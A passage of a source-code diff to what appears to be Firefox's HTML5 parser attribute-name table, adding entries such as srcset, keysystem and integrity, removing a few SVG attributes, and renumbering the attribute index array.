+ ATTR_SIZES = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::sizes), ALL_NO_PREFIX);
ATTR_STEMV = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::stemv), ALL_NO_PREFIX);
ATTR_START = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::start), ALL_NO_PREFIX);
ATTR_XMLNS = new nsHtml5AttributeName(XMLNS_NS, SAME_LOCAL(nsHtml5Atoms::xmlns), ALL_NO_PREFIX);
@@ -986,6 +988,7 @@ nsHtml5AttributeName::initializeStatics()
ATTR_RADIUS = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::radius), ALL_NO_PREFIX);
ATTR_RESULT = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::result), ALL_NO_PREFIX);
ATTR_REPEAT = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::repeat), ALL_NO_PREFIX);
+ ATTR_SRCSET = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::srcset), ALL_NO_PREFIX);
ATTR_RSPACE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::rspace), ALL_NO_PREFIX);
ATTR_ROTATE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::rotate), ALL_NO_PREFIX);
ATTR_RQUOTE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::rquote), ALL_NO_PREFIX);
@@ -1104,10 +1107,10 @@ nsHtml5AttributeName::initializeStatics()
ATTR_ELEVATION = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::elevation), ALL_NO_PREFIX);
ATTR_DIRECTION = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::direction), ALL_NO_PREFIX);
ATTR_DRAGGABLE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::draggable), ALL_NO_PREFIX);
- ATTR_FILTERRES = new nsHtml5AttributeName(ALL_NO_NS, SVG_DIFFERENT(nsHtml5Atoms::filterres, nsHtml5Atoms::filterRes), ALL_NO_PREFIX);
ATTR_FILL_RULE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::fill_rule), ALL_NO_PREFIX);
ATTR_FONTSTYLE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::fontstyle), ALL_NO_PREFIX);
ATTR_FONT_SIZE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::font_size), ALL_NO_PREFIX);
+ ATTR_KEYSYSTEM = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::keysystem), ALL_NO_PREFIX);
ATTR_KEYPOINTS = new nsHtml5AttributeName(ALL_NO_NS, SVG_DIFFERENT(nsHtml5Atoms::keypoints, nsHtml5Atoms::keyPoints), ALL_NO_PREFIX);
ATTR_HIDEFOCUS = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::hidefocus), ALL_NO_PREFIX);
ATTR_ONMESSAGE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::onmessage), ALL_NO_PREFIX);
@@ -1115,6 +1118,7 @@ nsHtml5AttributeName::initializeStatics()
ATTR_ONDRAGEND = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::ondragend), ALL_NO_PREFIX);
ATTR_ONMOVEEND = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::onmoveend), ALL_NO_PREFIX);
ATTR_ONINVALID = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::oninvalid), ALL_NO_PREFIX);
+ ATTR_INTEGRITY = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::integrity), ALL_NO_PREFIX);
ATTR_ONKEYDOWN = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::onkeydown), ALL_NO_PREFIX);
ATTR_ONFOCUSIN = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::onfocusin), ALL_NO_PREFIX);
ATTR_ONMOUSEUP = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::onmouseup), ALL_NO_PREFIX);
@@ -1344,7 +1348,6 @@ nsHtml5AttributeName::initializeStatics()
ATTR_STROKE_LINEJOIN = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::stroke_linejoin), ALL_NO_PREFIX);
ATTR_REPEAT_TEMPLATE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::repeat_template), ALL_NO_PREFIX);
ATTR_ARIA_DESCRIBEDBY = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::aria_describedby), ALL_NO_PREFIX);
- ATTR_CONTENTSTYLETYPE = new nsHtml5AttributeName(ALL_NO_NS, SVG_DIFFERENT(nsHtml5Atoms::contentstyletype, nsHtml5Atoms::contentStyleType), ALL_NO_PREFIX);
ATTR_FONT_SIZE_ADJUST = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::font_size_adjust), ALL_NO_PREFIX);
ATTR_KERNELUNITLENGTH = new nsHtml5AttributeName(ALL_NO_NS, SVG_DIFFERENT(nsHtml5Atoms::kernelunitlength, nsHtml5Atoms::kernelUnitLength), ALL_NO_PREFIX);
ATTR_ONBEFOREACTIVATE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::onbeforeactivate), ALL_NO_PREFIX);
@@ -1361,7 +1364,6 @@ nsHtml5AttributeName::initializeStatics()
ATTR_XCHANNELSELECTOR = new nsHtml5AttributeName(ALL_NO_NS, SVG_DIFFERENT(nsHtml5Atoms::xchannelselector, nsHtml5Atoms::xChannelSelector), ALL_NO_PREFIX);
ATTR_YCHANNELSELECTOR = new nsHtml5AttributeName(ALL_NO_NS, SVG_DIFFERENT(nsHtml5Atoms::ychannelselector, nsHtml5Atoms::yChannelSelector), ALL_NO_PREFIX);
ATTR_ARIA_AUTOCOMPLETE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::aria_autocomplete), ALL_NO_PREFIX);
- ATTR_CONTENTSCRIPTTYPE = new nsHtml5AttributeName(ALL_NO_NS, SVG_DIFFERENT(nsHtml5Atoms::contentscripttype, nsHtml5Atoms::contentScriptType), ALL_NO_PREFIX);
ATTR_ENABLE_BACKGROUND = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::enable_background), ALL_NO_PREFIX);
ATTR_DOMINANT_BASELINE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::dominant_baseline), ALL_NO_PREFIX);
ATTR_GRADIENTTRANSFORM = new nsHtml5AttributeName(ALL_NO_NS, SVG_DIFFERENT(nsHtml5Atoms::gradienttransform, nsHtml5Atoms::gradientTransform), ALL_NO_PREFIX);
@@ -1390,7 +1392,6 @@ nsHtml5AttributeName::initializeStatics()
ATTR_VERYVERYTHICKMATHSPACE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::veryverythickmathspace), ALL_NO_PREFIX);
ATTR_STRIKETHROUGH_POSITION = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::strikethrough_position), ALL_NO_PREFIX);
ATTR_STRIKETHROUGH_THICKNESS = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::strikethrough_thickness), ALL_NO_PREFIX);
- ATTR_EXTERNALRESOURCESREQUIRED = new nsHtml5AttributeName(ALL_NO_NS, SVG_DIFFERENT(nsHtml5Atoms::externalresourcesrequired, nsHtml5Atoms::externalResourcesRequired), ALL_NO_PREFIX);
ATTR_GLYPH_ORIENTATION_VERTICAL = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::glyph_orientation_vertical), ALL_NO_PREFIX);
ATTR_COLOR_INTERPOLATION_FILTERS = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::color_interpolation_filters), ALL_NO_PREFIX);
ATTR_GLYPH_ORIENTATION_HORIZONTAL = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::glyph_orientation_horizontal), ALL_NO_PREFIX);
@@ -1514,465 +1515,465 @@ nsHtml5AttributeName::initializeStatics()
ATTRIBUTE_NAMES[116] = ATTR_STYLE;
ATTRIBUTE_NAMES[117] = ATTR_RULES;
ATTRIBUTE_NAMES[118] = ATTR_STEMH;
- ATTRIBUTE_NAMES[119] = ATTR_STEMV;
- ATTRIBUTE_NAMES[120] = ATTR_START;
- ATTRIBUTE_NAMES[121] = ATTR_XMLNS;
- ATTRIBUTE_NAMES[122] = ATTR_ACCEPT;
- ATTRIBUTE_NAMES[123] = ATTR_ACCENT;
- ATTRIBUTE_NAMES[124] = ATTR_ASCENT;
- ATTRIBUTE_NAMES[125] = ATTR_ACTIVE;
- ATTRIBUTE_NAMES[126] = ATTR_ALTIMG;
- ATTRIBUTE_NAMES[127] = ATTR_ACTION;
- ATTRIBUTE_NAMES[128] = ATTR_BORDER;
- ATTRIBUTE_NAMES[129] = ATTR_CURSOR;
- ATTRIBUTE_NAMES[130] = ATTR_COORDS;
- ATTRIBUTE_NAMES[131] = ATTR_FILTER;
- ATTRIBUTE_NAMES[132] = ATTR_FORMAT;
- ATTRIBUTE_NAMES[133] = ATTR_HIDDEN;
- ATTRIBUTE_NAMES[134] = ATTR_HSPACE;
- ATTRIBUTE_NAMES[135] = ATTR_HEIGHT;
- ATTRIBUTE_NAMES[136] = ATTR_ONMOVE;
- ATTRIBUTE_NAMES[137] = ATTR_ONLOAD;
- ATTRIBUTE_NAMES[138] = ATTR_ONDRAG;
- ATTRIBUTE_NAMES[139] = ATTR_ORIGIN;
- ATTRIBUTE_NAMES[140] = ATTR_ONZOOM;
- ATTRIBUTE_NAMES[141] = ATTR_ONHELP;
- ATTRIBUTE_NAMES[142] = ATTR_ONSTOP;
- ATTRIBUTE_NAMES[143] = ATTR_ONDROP;
- ATTRIBUTE_NAMES[144] = ATTR_ONBLUR;
- ATTRIBUTE_NAMES[145] = ATTR_OBJECT;
- ATTRIBUTE_NAMES[146] = ATTR_OFFSET;
- ATTRIBUTE_NAMES[147] = ATTR_ORIENT;
- ATTRIBUTE_NAMES[148] = ATTR_ONCOPY;
- ATTRIBUTE_NAMES[149] = ATTR_NOWRAP;
- ATTRIBUTE_NAMES[150] = ATTR_NOHREF;
- ATTRIBUTE_NAMES[151] = ATTR_MACROS;
- ATTRIBUTE_NAMES[152] = ATTR_METHOD;
- ATTRIBUTE_NAMES[153] = ATTR_LOWSRC;
- ATTRIBUTE_NAMES[154] = ATTR_LSPACE;
- ATTRIBUTE_NAMES[155] = ATTR_LQUOTE;
- ATTRIBUTE_NAMES[156] = ATTR_USEMAP;
- ATTRIBUTE_NAMES[157] = ATTR_WIDTHS;
- ATTRIBUTE_NAMES[158] = ATTR_TARGET;
- ATTRIBUTE_NAMES[159] = ATTR_VALUES;
- ATTRIBUTE_NAMES[160] = ATTR_VALIGN;
- ATTRIBUTE_NAMES[161] = ATTR_VSPACE;
- ATTRIBUTE_NAMES[162] = ATTR_POSTER;
- ATTRIBUTE_NAMES[163] = ATTR_POINTS;
- ATTRIBUTE_NAMES[164] = ATTR_PROMPT;
- ATTRIBUTE_NAMES[165] = ATTR_SRCDOC;
- ATTRIBUTE_NAMES[166] = ATTR_SCOPED;
- ATTRIBUTE_NAMES[167] = ATTR_STRING;
- ATTRIBUTE_NAMES[168] = ATTR_SCHEME;
- ATTRIBUTE_NAMES[169] = ATTR_STROKE;
- ATTRIBUTE_NAMES[170] = ATTR_RADIUS;
- ATTRIBUTE_NAMES[171] = ATTR_RESULT;
- ATTRIBUTE_NAMES[172] = ATTR_REPEAT;
- ATTRIBUTE_NAMES[173] = ATTR_RSPACE;
- ATTRIBUTE_NAMES[174] = ATTR_ROTATE;
- ATTRIBUTE_NAMES[175] = ATTR_RQUOTE;
- ATTRIBUTE_NAMES[176] = ATTR_ALTTEXT;
- ATTRIBUTE_NAMES[177] = ATTR_ARCHIVE;
- ATTRIBUTE_NAMES[178] = ATTR_AZIMUTH;
- ATTRIBUTE_NAMES[179] = ATTR_CLOSURE;
- ATTRIBUTE_NAMES[180] = ATTR_CHECKED;
- ATTRIBUTE_NAMES[181] = ATTR_CLASSID;
- ATTRIBUTE_NAMES[182] = ATTR_CHAROFF;
- ATTRIBUTE_NAMES[183] = ATTR_BGCOLOR;
- ATTRIBUTE_NAMES[184] = ATTR_COLSPAN;
- ATTRIBUTE_NAMES[185] = ATTR_CHARSET;
- ATTRIBUTE_NAMES[186] = ATTR_COMPACT;
- ATTRIBUTE_NAMES[187] = ATTR_CONTENT;
- ATTRIBUTE_NAMES[188] = ATTR_ENCTYPE;
- ATTRIBUTE_NAMES[189] = ATTR_DATASRC;
- ATTRIBUTE_NAMES[190] = ATTR_DATAFLD;
- ATTRIBUTE_NAMES[191] = ATTR_DECLARE;
- ATTRIBUTE_NAMES[192] = ATTR_DISPLAY;
- ATTRIBUTE_NAMES[193] = ATTR_DIVISOR;
- ATTRIBUTE_NAMES[194] = ATTR_DEFAULT;
- ATTRIBUTE_NAMES[195] = ATTR_DESCENT;
- ATTRIBUTE_NAMES[196] = ATTR_KERNING;
- ATTRIBUTE_NAMES[197] = ATTR_HANGING;
- ATTRIBUTE_NAMES[198] = ATTR_HEADERS;
- ATTRIBUTE_NAMES[199] = ATTR_ONPASTE;
- ATTRIBUTE_NAMES[200] = ATTR_ONCLICK;
- ATTRIBUTE_NAMES[201] = ATTR_OPTIMUM;
- ATTRIBUTE_NAMES[202] = ATTR_ONBEGIN;
- ATTRIBUTE_NAMES[203] = ATTR_ONKEYUP;
- ATTRIBUTE_NAMES[204] = ATTR_ONFOCUS;
- ATTRIBUTE_NAMES[205] = ATTR_ONERROR;
- ATTRIBUTE_NAMES[206] = ATTR_ONINPUT;
- ATTRIBUTE_NAMES[207] = ATTR_ONABORT;
- ATTRIBUTE_NAMES[208] = ATTR_ONSTART;
- ATTRIBUTE_NAMES[209] = ATTR_ONRESET;
- ATTRIBUTE_NAMES[210] = ATTR_OPACITY;
- ATTRIBUTE_NAMES[211] = ATTR_NOSHADE;
- ATTRIBUTE_NAMES[212] = ATTR_MINSIZE;
- ATTRIBUTE_NAMES[213] = ATTR_MAXSIZE;
- ATTRIBUTE_NAMES[214] = ATTR_LARGEOP;
- ATTRIBUTE_NAMES[215] = ATTR_UNICODE;
- ATTRIBUTE_NAMES[216] = ATTR_TARGETX;
- ATTRIBUTE_NAMES[217] = ATTR_TARGETY;
- ATTRIBUTE_NAMES[218] = ATTR_VIEWBOX;
- ATTRIBUTE_NAMES[219] = ATTR_VERSION;
- ATTRIBUTE_NAMES[220] = ATTR_PATTERN;
- ATTRIBUTE_NAMES[221] = ATTR_PROFILE;
- ATTRIBUTE_NAMES[222] = ATTR_SPACING;
- ATTRIBUTE_NAMES[223] = ATTR_RESTART;
- ATTRIBUTE_NAMES[224] = ATTR_ROWSPAN;
- ATTRIBUTE_NAMES[225] = ATTR_SANDBOX;
- ATTRIBUTE_NAMES[226] = ATTR_SUMMARY;
- ATTRIBUTE_NAMES[227] = ATTR_STANDBY;
- ATTRIBUTE_NAMES[228] = ATTR_REPLACE;
- ATTRIBUTE_NAMES[229] = ATTR_AUTOPLAY;
- ATTRIBUTE_NAMES[230] = ATTR_ADDITIVE;
- ATTRIBUTE_NAMES[231] = ATTR_CALCMODE;
- ATTRIBUTE_NAMES[232] = ATTR_CODETYPE;
- ATTRIBUTE_NAMES[233] = ATTR_CODEBASE;
- ATTRIBUTE_NAMES[234] = ATTR_CONTROLS;
- ATTRIBUTE_NAMES[235] = ATTR_BEVELLED;
- ATTRIBUTE_NAMES[236] = ATTR_BASELINE;
- ATTRIBUTE_NAMES[237] = ATTR_EXPONENT;
- ATTRIBUTE_NAMES[238] = ATTR_EDGEMODE;
- ATTRIBUTE_NAMES[239] = ATTR_ENCODING;
- ATTRIBUTE_NAMES[240] = ATTR_GLYPHREF;
- ATTRIBUTE_NAMES[241] = ATTR_DATETIME;
- ATTRIBUTE_NAMES[242] = ATTR_DISABLED;
- ATTRIBUTE_NAMES[243] = ATTR_FONTSIZE;
- ATTRIBUTE_NAMES[244] = ATTR_KEYTIMES;
- ATTRIBUTE_NAMES[245] = ATTR_PANOSE_1;
- ATTRIBUTE_NAMES[246] = ATTR_HREFLANG;
- ATTRIBUTE_NAMES[247] = ATTR_ONRESIZE;
- ATTRIBUTE_NAMES[248] = ATTR_ONCHANGE;
- ATTRIBUTE_NAMES[249] = ATTR_ONBOUNCE;
- ATTRIBUTE_NAMES[250] = ATTR_ONUNLOAD;
- ATTRIBUTE_NAMES[251] = ATTR_ONFINISH;
- ATTRIBUTE_NAMES[252] = ATTR_ONSCROLL;
- ATTRIBUTE_NAMES[253] = ATTR_OPERATOR;
- ATTRIBUTE_NAMES[254] = ATTR_OVERFLOW;
- ATTRIBUTE_NAMES[255] = ATTR_ONSUBMIT;
- ATTRIBUTE_NAMES[256] = ATTR_ONREPEAT;
- ATTRIBUTE_NAMES[257] = ATTR_ONSELECT;
- ATTRIBUTE_NAMES[258] = ATTR_NOTATION;
- ATTRIBUTE_NAMES[259] = ATTR_NORESIZE;
- ATTRIBUTE_NAMES[260] = ATTR_MANIFEST;
- ATTRIBUTE_NAMES[261] = ATTR_MATHSIZE;
- ATTRIBUTE_NAMES[262] = ATTR_MULTIPLE;
- ATTRIBUTE_NAMES[263] = ATTR_LONGDESC;
- ATTRIBUTE_NAMES[264] = ATTR_LANGUAGE;
- ATTRIBUTE_NAMES[265] = ATTR_TEMPLATE;
- ATTRIBUTE_NAMES[266] = ATTR_TABINDEX;
- ATTRIBUTE_NAMES[267] = ATTR_READONLY;
- ATTRIBUTE_NAMES[268] = ATTR_SELECTED;
- ATTRIBUTE_NAMES[269] = ATTR_ROWLINES;
- ATTRIBUTE_NAMES[270] = ATTR_SEAMLESS;
- ATTRIBUTE_NAMES[271] = ATTR_ROWALIGN;
- ATTRIBUTE_NAMES[272] = ATTR_STRETCHY;
- ATTRIBUTE_NAMES[273] = ATTR_REQUIRED;
- ATTRIBUTE_NAMES[274] = ATTR_XML_BASE;
- ATTRIBUTE_NAMES[275] = ATTR_XML_LANG;
- ATTRIBUTE_NAMES[276] = ATTR_X_HEIGHT;
- ATTRIBUTE_NAMES[277] = ATTR_ARIA_OWNS;
- ATTRIBUTE_NAMES[278] = ATTR_AUTOFOCUS;
- ATTRIBUTE_NAMES[279] = ATTR_ARIA_SORT;
- ATTRIBUTE_NAMES[280] = ATTR_ACCESSKEY;
- ATTRIBUTE_NAMES[281] = ATTR_ARIA_BUSY;
- ATTRIBUTE_NAMES[282] = ATTR_ARIA_GRAB;
- ATTRIBUTE_NAMES[283] = ATTR_AMPLITUDE;
- ATTRIBUTE_NAMES[284] = ATTR_ARIA_LIVE;
- ATTRIBUTE_NAMES[285] = ATTR_CLIP_RULE;
- ATTRIBUTE_NAMES[286] = ATTR_CLIP_PATH;
- ATTRIBUTE_NAMES[287] = ATTR_EQUALROWS;
- ATTRIBUTE_NAMES[288] = ATTR_ELEVATION;
- ATTRIBUTE_NAMES[289] = ATTR_DIRECTION;
- ATTRIBUTE_NAMES[290] = ATTR_DRAGGABLE;
- ATTRIBUTE_NAMES[291] = ATTR_FILTERRES;
- ATTRIBUTE_NAMES[292] = ATTR_FILL_RULE;
- ATTRIBUTE_NAMES[293] = ATTR_FONTSTYLE;
- ATTRIBUTE_NAMES[294] = ATTR_FONT_SIZE;
- ATTRIBUTE_NAMES[295] = ATTR_KEYPOINTS;
- ATTRIBUTE_NAMES[296] = ATTR_HIDEFOCUS;
- ATTRIBUTE_NAMES[297] = ATTR_ONMESSAGE;
- ATTRIBUTE_NAMES[298] = ATTR_INTERCEPT;
- ATTRIBUTE_NAMES[299] = ATTR_ONDRAGEND;
- ATTRIBUTE_NAMES[300] = ATTR_ONMOVEEND;
- ATTRIBUTE_NAMES[301] = ATTR_ONINVALID;
- ATTRIBUTE_NAMES[302] = ATTR_ONKEYDOWN;
- ATTRIBUTE_NAMES[303] = ATTR_ONFOCUSIN;
- ATTRIBUTE_NAMES[304] = ATTR_ONMOUSEUP;
- ATTRIBUTE_NAMES[305] = ATTR_INPUTMODE;
- ATTRIBUTE_NAMES[306] = ATTR_ONROWEXIT;
- ATTRIBUTE_NAMES[307] = ATTR_MATHCOLOR;
- ATTRIBUTE_NAMES[308] = ATTR_MASKUNITS;
- ATTRIBUTE_NAMES[309] = ATTR_MAXLENGTH;
- ATTRIBUTE_NAMES[310] = ATTR_LINEBREAK;
- ATTRIBUTE_NAMES[311] = ATTR_TRANSFORM;
- ATTRIBUTE_NAMES[312] = ATTR_V_HANGING;
- ATTRIBUTE_NAMES[313] = ATTR_VALUETYPE;
- ATTRIBUTE_NAMES[314] = ATTR_POINTSATZ;
- ATTRIBUTE_NAMES[315] = ATTR_POINTSATX;
- ATTRIBUTE_NAMES[316] = ATTR_POINTSATY;
- ATTRIBUTE_NAMES[317] = ATTR_SYMMETRIC;
- ATTRIBUTE_NAMES[318] = ATTR_SCROLLING;
- ATTRIBUTE_NAMES[319] = ATTR_REPEATDUR;
- ATTRIBUTE_NAMES[320] = ATTR_SELECTION;
- ATTRIBUTE_NAMES[321] = ATTR_SEPARATOR;
- ATTRIBUTE_NAMES[322] = ATTR_XML_SPACE;
- ATTRIBUTE_NAMES[323] = ATTR_AUTOSUBMIT;
- ATTRIBUTE_NAMES[324] = ATTR_ALPHABETIC;
- ATTRIBUTE_NAMES[325] = ATTR_ACTIONTYPE;
- ATTRIBUTE_NAMES[326] = ATTR_ACCUMULATE;
- ATTRIBUTE_NAMES[327] = ATTR_ARIA_LEVEL;
- ATTRIBUTE_NAMES[328] = ATTR_COLUMNSPAN;
- ATTRIBUTE_NAMES[329] = ATTR_CAP_HEIGHT;
- ATTRIBUTE_NAMES[330] = ATTR_BACKGROUND;
- ATTRIBUTE_NAMES[331] = ATTR_GLYPH_NAME;
- ATTRIBUTE_NAMES[332] = ATTR_GROUPALIGN;
- ATTRIBUTE_NAMES[333] = ATTR_FONTFAMILY;
- ATTRIBUTE_NAMES[334] = ATTR_FONTWEIGHT;
- ATTRIBUTE_NAMES[335] = ATTR_FONT_STYLE;
- ATTRIBUTE_NAMES[336] = ATTR_KEYSPLINES;
- ATTRIBUTE_NAMES[337] = ATTR_HTTP_EQUIV;
- ATTRIBUTE_NAMES[338] = ATTR_ONACTIVATE;
- ATTRIBUTE_NAMES[339] = ATTR_OCCURRENCE;
- ATTRIBUTE_NAMES[340] = ATTR_IRRELEVANT;
- ATTRIBUTE_NAMES[341] = ATTR_ONDBLCLICK;
- ATTRIBUTE_NAMES[342] = ATTR_ONDRAGDROP;
- ATTRIBUTE_NAMES[343] = ATTR_ONKEYPRESS;
- ATTRIBUTE_NAMES[344] = ATTR_ONROWENTER;
- ATTRIBUTE_NAMES[345] = ATTR_ONDRAGOVER;
- ATTRIBUTE_NAMES[346] = ATTR_ONFOCUSOUT;
- ATTRIBUTE_NAMES[347] = ATTR_ONMOUSEOUT;
- ATTRIBUTE_NAMES[348] = ATTR_NUMOCTAVES;
- ATTRIBUTE_NAMES[349] = ATTR_MARKER_MID;
- ATTRIBUTE_NAMES[350] = ATTR_MARKER_END;
- ATTRIBUTE_NAMES[351] = ATTR_TEXTLENGTH;
- ATTRIBUTE_NAMES[352] = ATTR_VISIBILITY;
- ATTRIBUTE_NAMES[353] = ATTR_VIEWTARGET;
- ATTRIBUTE_NAMES[354] = ATTR_VERT_ADV_Y;
- ATTRIBUTE_NAMES[355] = ATTR_PATHLENGTH;
- ATTRIBUTE_NAMES[356] = ATTR_REPEAT_MAX;
- ATTRIBUTE_NAMES[357] = ATTR_RADIOGROUP;
- ATTRIBUTE_NAMES[358] = ATTR_STOP_COLOR;
- ATTRIBUTE_NAMES[359] = ATTR_SEPARATORS;
- ATTRIBUTE_NAMES[360] = ATTR_REPEAT_MIN;
- ATTRIBUTE_NAMES[361] = ATTR_ROWSPACING;
- ATTRIBUTE_NAMES[362] = ATTR_ZOOMANDPAN;
- ATTRIBUTE_NAMES[363] = ATTR_XLINK_TYPE;
- ATTRIBUTE_NAMES[364] = ATTR_XLINK_ROLE;
- ATTRIBUTE_NAMES[365] = ATTR_XLINK_HREF;
- ATTRIBUTE_NAMES[366] = ATTR_XLINK_SHOW;
- ATTRIBUTE_NAMES[367] = ATTR_ACCENTUNDER;
- ATTRIBUTE_NAMES[368] = ATTR_ARIA_SECRET;
- ATTRIBUTE_NAMES[369] = ATTR_ARIA_ATOMIC;
- ATTRIBUTE_NAMES[370] = ATTR_ARIA_HIDDEN;
- ATTRIBUTE_NAMES[371] = ATTR_ARIA_FLOWTO;
- ATTRIBUTE_NAMES[372] = ATTR_ARABIC_FORM;
- ATTRIBUTE_NAMES[373] = ATTR_CELLPADDING;
- ATTRIBUTE_NAMES[374] = ATTR_CELLSPACING;
- ATTRIBUTE_NAMES[375] = ATTR_COLUMNWIDTH;
- ATTRIBUTE_NAMES[376] = ATTR_CROSSORIGIN;
- ATTRIBUTE_NAMES[377] = ATTR_COLUMNALIGN;
- ATTRIBUTE_NAMES[378] = ATTR_COLUMNLINES;
- ATTRIBUTE_NAMES[379] = ATTR_CONTEXTMENU;
- ATTRIBUTE_NAMES[380] = ATTR_BASEPROFILE;
- ATTRIBUTE_NAMES[381] = ATTR_FONT_FAMILY;
- ATTRIBUTE_NAMES[382] = ATTR_FRAMEBORDER;
- ATTRIBUTE_NAMES[383] = ATTR_FILTERUNITS;
- ATTRIBUTE_NAMES[384] = ATTR_FLOOD_COLOR;
- ATTRIBUTE_NAMES[385] = ATTR_FONT_WEIGHT;
- ATTRIBUTE_NAMES[386] = ATTR_HORIZ_ADV_X;
- ATTRIBUTE_NAMES[387] = ATTR_ONDRAGLEAVE;
- ATTRIBUTE_NAMES[388] = ATTR_ONMOUSEMOVE;
- ATTRIBUTE_NAMES[389] = ATTR_ORIENTATION;
- ATTRIBUTE_NAMES[390] = ATTR_ONMOUSEDOWN;
- ATTRIBUTE_NAMES[391] = ATTR_ONMOUSEOVER;
- ATTRIBUTE_NAMES[392] = ATTR_ONDRAGENTER;
- ATTRIBUTE_NAMES[393] = ATTR_IDEOGRAPHIC;
- ATTRIBUTE_NAMES[394] = ATTR_ONBEFORECUT;
- ATTRIBUTE_NAMES[395] = ATTR_ONFORMINPUT;
- ATTRIBUTE_NAMES[396] = ATTR_ONDRAGSTART;
- ATTRIBUTE_NAMES[397] = ATTR_ONMOVESTART;
- ATTRIBUTE_NAMES[398] = ATTR_MARKERUNITS;
- ATTRIBUTE_NAMES[399] = ATTR_MATHVARIANT;
- ATTRIBUTE_NAMES[400] = ATTR_MARGINWIDTH;
- ATTRIBUTE_NAMES[401] = ATTR_MARKERWIDTH;
- ATTRIBUTE_NAMES[402] = ATTR_TEXT_ANCHOR;
- ATTRIBUTE_NAMES[403] = ATTR_TABLEVALUES;
- ATTRIBUTE_NAMES[404] = ATTR_SCRIPTLEVEL;
- ATTRIBUTE_NAMES[405] = ATTR_REPEATCOUNT;
- ATTRIBUTE_NAMES[406] = ATTR_STITCHTILES;
- ATTRIBUTE_NAMES[407] = ATTR_STARTOFFSET;
- ATTRIBUTE_NAMES[408] = ATTR_SCROLLDELAY;
- ATTRIBUTE_NAMES[409] = ATTR_XMLNS_XLINK;
- ATTRIBUTE_NAMES[410] = ATTR_XLINK_TITLE;
- ATTRIBUTE_NAMES[411] = ATTR_ARIA_INVALID;
- ATTRIBUTE_NAMES[412] = ATTR_ARIA_PRESSED;
- ATTRIBUTE_NAMES[413] = ATTR_ARIA_CHECKED;
- ATTRIBUTE_NAMES[414] = ATTR_AUTOCOMPLETE;
- ATTRIBUTE_NAMES[415] = ATTR_ARIA_SETSIZE;
- ATTRIBUTE_NAMES[416] = ATTR_ARIA_CHANNEL;
- ATTRIBUTE_NAMES[417] = ATTR_EQUALCOLUMNS;
- ATTRIBUTE_NAMES[418] = ATTR_DISPLAYSTYLE;
- ATTRIBUTE_NAMES[419] = ATTR_DATAFORMATAS;
- ATTRIBUTE_NAMES[420] = ATTR_FILL_OPACITY;
- ATTRIBUTE_NAMES[421] = ATTR_FONT_VARIANT;
- ATTRIBUTE_NAMES[422] = ATTR_FONT_STRETCH;
- ATTRIBUTE_NAMES[423] = ATTR_FRAMESPACING;
- ATTRIBUTE_NAMES[424] = ATTR_KERNELMATRIX;
- ATTRIBUTE_NAMES[425] = ATTR_ONDEACTIVATE;
- ATTRIBUTE_NAMES[426] = ATTR_ONROWSDELETE;
- ATTRIBUTE_NAMES[427] = ATTR_ONMOUSELEAVE;
- ATTRIBUTE_NAMES[428] = ATTR_ONFORMCHANGE;
- ATTRIBUTE_NAMES[429] = ATTR_ONCELLCHANGE;
- ATTRIBUTE_NAMES[430] = ATTR_ONMOUSEWHEEL;
- ATTRIBUTE_NAMES[431] = ATTR_ONMOUSEENTER;
- ATTRIBUTE_NAMES[432] = ATTR_ONAFTERPRINT;
- ATTRIBUTE_NAMES[433] = ATTR_ONBEFORECOPY;
